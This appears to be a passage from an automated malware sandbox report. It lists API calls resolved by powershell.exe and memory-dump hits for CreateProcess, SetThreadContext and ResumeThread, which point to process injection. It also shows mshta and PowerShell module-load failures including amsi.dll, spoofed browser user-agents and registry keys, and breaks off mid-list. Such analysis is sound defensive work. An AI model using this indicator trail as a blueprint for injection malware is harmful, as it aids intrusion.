GetConsoleScreenBufferInfo (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CryptGetDefaultProviderW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00003404) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00003404)39:T5f6,Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "Win32API|Process and Thread Functions|CreateProcess|lpCurrentDirectory" (Indicator: "CreateProcess"; Source: "00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01CD0000.00000004.mdmp") Found reference to API "Win32API|Process and Thread Functions|CreateProcess|lpProcessInformation|dwProcessId" (Indicator: "CreateProcess"; Source: "00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01CD0000.00000004.mdmp") Found reference to API "Win32API|Process and Thread Functions|CreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00005644.00000003.86403.00150000.00000004.mdmp") Found reference to API "Win32API|Process and Thread Functions|CreateProcess|dwCreationFlags" (Indicator: "CreateProcess"; Source: "00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01CD0000.00000004.mdmp")3a:T90e,Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00005460.00000001.86338.00C81000.00000020.mdmp") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; Source: "00000000-00005460.00000001.86338.00C81000.00000020.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp")3b:Tcab,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005460.00000001.86338.00C81000.00000020.mdmp") Found reference to API "NtCreateThreadEx" (Indicator: "CreateThread"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp")3c:Ta42,"mshta.exe" failed to load missing module "%WINDIR%\system32\DXGIDebug.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135]3d:Tf74,Found string "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko" (Indicator: "mozilla/5.0 ("; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found string "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)" (Indicator: "mozilla/5.0 ("; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found string "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" (Indicator: "mozilla/5.0 ("; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found string "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found string "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found string "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" (Indicator: "mozilla/4.0 ("; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp")3e:T3a83,"Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00005460.00000001.86338.00C81000.00000020.mdmp "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005644.00000000.77036.00150000.00000004.mdmp "Software\Borland\Locales" in Source: 00000000-00005644.00000000.77036.00150000.00000004.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00005644.00000000.77036.00150000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005644.00000000.77036.00150000.00000004.mdmp "SOFTWARE\" in Source: 00000000-00005644.00000000.77036.00150000.00000004.mdmp "HKLM\" in Source: 00000000-00005644.00000000.77036.00150000.00000004.mdmp "HKCU\" in Source: 00000000-00005644.00000000.77036.00150000.00000004.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005644.00000000.77036.00150000.00000004.mdmp "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005644.00000000.77036.00150000.00000004.mdmp "software\" in Source: 00000000-00005644.00000000.77036.00150000.00000004.mdmp "SOFTWARE\Classes" in Source: 00000000-00005644.00000000.77036.00150000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005644.00000000.77036.00150000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005644.00000000.77036.00150000.00000004.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005644.00000000.77036.00150000.00000004.mdmp "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005644.00000000.77036.01540000.00000040.mdmp "Software\Borland\Locales" in Source: 00000000-00005644.00000000.77036.01540000.00000040.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00005644.00000000.77036.01540000.00000040.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005644.00000000.77036.01540000.00000040.mdmp "SOFTWARE\" in Source: 00000000-00005644.00000000.77036.01540000.00000040.mdmp "HKLM\" in Source: 00000000-00005644.00000000.77036.01540000.00000040.mdmp "HKCU\" in Source: 00000000-00005644.00000000.77036.01540000.00000040.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005644.00000000.77036.01540000.00000040.mdmp "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005644.00000000.77036.01540000.00000040.mdmp "software\" in Source: 00000000-00005644.00000000.77036.01540000.00000040.mdmp "SOFTWARE\Classes" in Source: 00000000-00005644.00000000.77036.01540000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005644.00000000.77036.01540000.00000040.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005644.00000000.77036.01540000.00000040.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00005644.00000000.77036.01540000.00000040.mdmp "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00005644.00000001.78962.00150000.00000004.mdmp "Software\Borland\Locales" in Source: 00000000-00005644.00000001.78962.00150000.00000004.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00005644.00000001.78962.00150000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005644.00000001.78962.00150000.00000004.mdmp "SOFTWARE\" in Source: 00000000-00005644.00000001.78962.00150000.00000004.mdmp "HKLM\" in Source: 00000000-00005644.00000001.78962.00150000.00000004.mdmp "HKCU\" in Source: 00000000-00005644.00000001.78962.00150000.00000004.mdmp "SOFTWARE\Classes\" in Source: 00000000-00005644.00000001.78962.00150000.00000004.mdmp "\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones" in Source: 00000000-00005644.00000001.78962.00150000.00000004.mdmp "software\" in 